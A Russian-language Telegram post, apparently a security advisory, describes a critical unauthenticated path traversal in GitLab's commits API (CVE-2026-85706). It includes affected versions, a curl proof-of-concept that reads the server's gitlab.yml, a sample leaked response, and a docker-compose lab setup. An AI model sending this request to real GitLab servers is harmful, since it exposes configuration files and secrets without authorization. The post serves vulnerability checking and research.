Критическая (CVSS 10.0) уязвимость в GitLab, которая позволяет неавторизованному пользователю читать произвольные файлы на сервере
Path traversal в API коммитов репозитория. В уязвимых версиях API не убирает последовательности обхода (например, ../ или их кодированные варианты), что позволяет выйти за пределы нужного каталога и добраться до файловой системы сервера
Уязвимы:
🐥 8.7 до 19.1.7 включительно🐥 19.2 до 19.2.5 включительно🐥 19.3 до 19.3.1 включительно
Ручная проверка:
curl -sk -X POST \
"https://gitlab.example.com/api/v4/projects/35/repository/commits/?file=&file.path=%2Fopt%2Fgitlab%2Fembedded%2Fservice%2Fgitlab-rails%2Fconfig%2Fgitlab.yml&file.size=1&Content-Type=application/x-www-form-urlencoded"
Уязвимый инстанс вернет примерно следующее:
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (## GitLab settings\n gitlab:\n host: gitlab.example.com\n ... )"}Тестовая лаба:
services:
gitlab:
image: gitlab/gitlab-ce:19.3.1-ce.0
container_name: cve-2026-85706-gitlab
hostname: gitlab.lab
restart: "no"
shm_size: "256m"
ports:
- "127.0.0.1:8929:80" # web / API
- "127.0.0.1:2224:22" # ssh (optional)
environment:
GITLAB_OMNIBUS_CONFIG: |
external_url 'http://127.0.0.1:8929'
gitlab_rails['initial_root_password'] = 'CVE-2026-85706-Lab!'
prometheus_monitoring['enable'] = false
gitlab_rails['log_level'] = 'info'
volumes:
- gitlab-config:/etc/gitlab
- gitlab-logs:/var/log/gitlab
- gitlab-data:/var/opt/gitlab
volumes:
gitlab-config:
gitlab-logs:
gitlab-data:
docker compose -f docker-compose.yml up -d
#cve #poc #gitlab
Please open Telegram to view this post
VIEW IN TELEGRAM
👍2❤1